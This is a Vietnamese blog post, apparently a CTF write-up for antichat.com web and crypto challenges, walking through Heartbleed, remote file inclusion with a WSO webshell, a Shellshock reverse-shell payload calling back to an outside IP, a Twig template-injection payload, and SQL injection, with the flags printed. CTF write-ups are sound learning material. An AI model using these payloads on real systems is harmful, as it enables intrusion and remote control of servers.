Hôm nay ngồi buồn thử vào mấy trang ctf chơi thử xem sao qua một vòng google thì mình thấy thằng antichat của nga có cái ctf nên mình chơi thử xem sao: mình chơi mục web đầu tiên vì đó là thế mạnh của mình.
Link để các bạn chơi: https://ctf.antichat.com/challenges
Phá Đảo: Heartbleed
Đây là lỗ hổng liên quan tới ssl các bạn có thể đọc trên mạng đâu đó, mình đơn giản là set cho nó lên metasploit và nhận được kết quả sau vài lần chạy
mở msfconsole lên và gõ lệnh
use auxiliary/scanner/ssl/openssl_heartbleed
sau đó set các thông số trong options của nó thành như hình bên dưới
Chú ý đoạn thông tin login trong kết quả trả về chúng ta tìm ra được pass để đăng nhập:
Sau đó các bạn đăng nhập thành công sẽ hiển thị flag cho các bạn:
Flag: y0U_8r3ak_My_H34r7
Tiếp Theo Là RFI
Tấn công vào http://rfi.ctf.antichat.com/
Vào trang thấy có chữ flag nhấn vào thì link dạng http://rfi.ctf.antichat.com/?page=flag
Giờ chúng ta thử đập nó chuyển thành
http://rfi.ctf.antichat.com/?page=flag.php
chúng ta nhận được 1 cảnh báo "Warning: include(flag.php.php)"
do đoạn code sau
<?php
if (isset($_GET['page'])) {
include $_GET['page'].".php";
} else { ?>
<h1>Main page</h1>
<?php } ?>
nó tự thêm cho mình một đuôi php đằng sau giờ xử nó bằng cách chạy webshell
code: https://raw.githubusercontent.com/mIcHyAmRaNe/wso-webshell/master/wso.php
chúng ta bỏ đuôi .php đi thành link sau:
http://rfi.ctf.antichat.com/?page=https://raw.githubusercontent.com/mIcHyAmRaNe/wso-webshell/master/wso
và đây là những gì sau đó:
Vấn đề chúng ta cần đọc file flag.php thì mình dùng code sau"
<?php
echo file_get_contents("flag.php");
?>
kết qủa tìm được flag trong source
flag: 1_am_k1n6_0f_RF1
Chiến shellshock
shellshock là một kiểu kết nối backconnect sau khi ngâm cứu mình viết ra đoạn code sau
Payload:
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; /bin/bash -i >& /dev/tcp/150.95.200.240/5555 0>&1" http://shellshock.ctf.antichat.com/cgi-bin/status.cgi
trên client:
nc -lvnp 5555
kết quả
Chiến RSA
Công cụ cho phép mình crack bài này ở đây các bạn có thể dùng nó
https://github.com/Ganapati/RsaCtfTool
Sau khi chạy decode mình nhận được flag
Chơi PyCry
Sau khi ngâm cứu file tải về lấy đoạn code sau và tiến hành giải mã
import string,random
def func3d(encryped, key):
msg = []
for i, c in enumerate(encryped):
key_c = ord(key[i % len(key)])
enc_c = ord(c)
msg.append(chr((enc_c - key_c) % 127))
return ''.join(msg)
def func2d(d):
try:
e = d[::-1]
k = int(e[:4], 16) ^ 0xA9F ^ 0xE77E
t = e[4:]
f = ""
n = 0
for i in range(0, len(t), 6):
n += 1
c = (n * n) ^ 0x3E
f += chr(int(str(int(t[i:i+6], 16)), 8) ^ (k ^ 0xAFE43 ^ 0x399AA3 ^ c))
return f
except:
return -1
def func4d(str):
dec = funcwtf(-1337)
return dec(str)
def funcwtf(n):
if n > 0:
n = n % 20
else :
n = -((-n) % 20)
lc = string.ascii_lowercase
uc = string.ascii_uppercase
trans = string.maketrans(lc + uc,
lc[n:] + lc[:n] + uc[n:] + uc[:n])
return lambda s: string.translate(s, trans)
def func1d(str1, str2):
tmp = ""
str1 = str1[::-1]
for i in range(len(str1)):
if i%2 == 0 :
tmp += chr((ord(str1[i]) - 4)^ord(str2[i]))
else:
tmp += chr((ord(str1[i]) + 2)^ord(str2[i]))
return tmp
print func1d(func3d(func4d(func2d('0A3BFDA6EBFD5CEBFD1ADBFDBEDBFD1DFBFDF10CFD51FBFD51FBFDBEEBFDB3ABFD3DABFD2DABFD589BFDD79BFD9E9BFD10ABFDDFBBFDAFBBFDD4CBFD77CBFD42BBFD91BBFDC2BBFDB4BBFDE7BBFDB6BBFDF0BBFD2ABBFD22BBFD39BBFDE2BBFDB1CE')),'looooool'),'a6105c0a611b41b08f1209506350279e')
Kết quả: flag{annoying_challenge_amirite}
RDP crack:
https://github.com/ANSSI-FR/bmc-tools
Template Injection
Cái này khá khó và chuối mình đọc qua rất nhiều tài liệu để xem nó là gì các bạn có thể đọc ở đây:
https://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/
https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii.html
thì mình đã mò được payload chạy nó
GET /?name={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat+/flag")}} HTTP/1.1
Host: templateinj.ctf.antichat.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __cfduid=d1b7e8c42b7ebe964c0d9e0b5caf1898f1566651875; _ym_uid=1566652986629037702; _ym_d=1566652986
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Chơi blindsql
đích của ta là: http://blindsql.ctf.antichat.com/
Vì đây là blind sql lên chúng ta sẽ tập trung vào dữ liệu post
Đối với các lỗi sql thì nhanh nhất bạn nên dùng sqlmap.
Flag: bl1nd_bu7_dan63r0u5
errorsqli:
thử đăng nhập với user 1'" thì thấy hiển thị lỗi như vậy lỗi nằm ở ô login
Tiếp tục đưa vào sqlmap thì chúng ta được:
Flag: d0nt_sh0w_y0ur_3rr0r5
Tạm thời hết phần một :)
Không có nhận xét nào:
Đăng nhận xét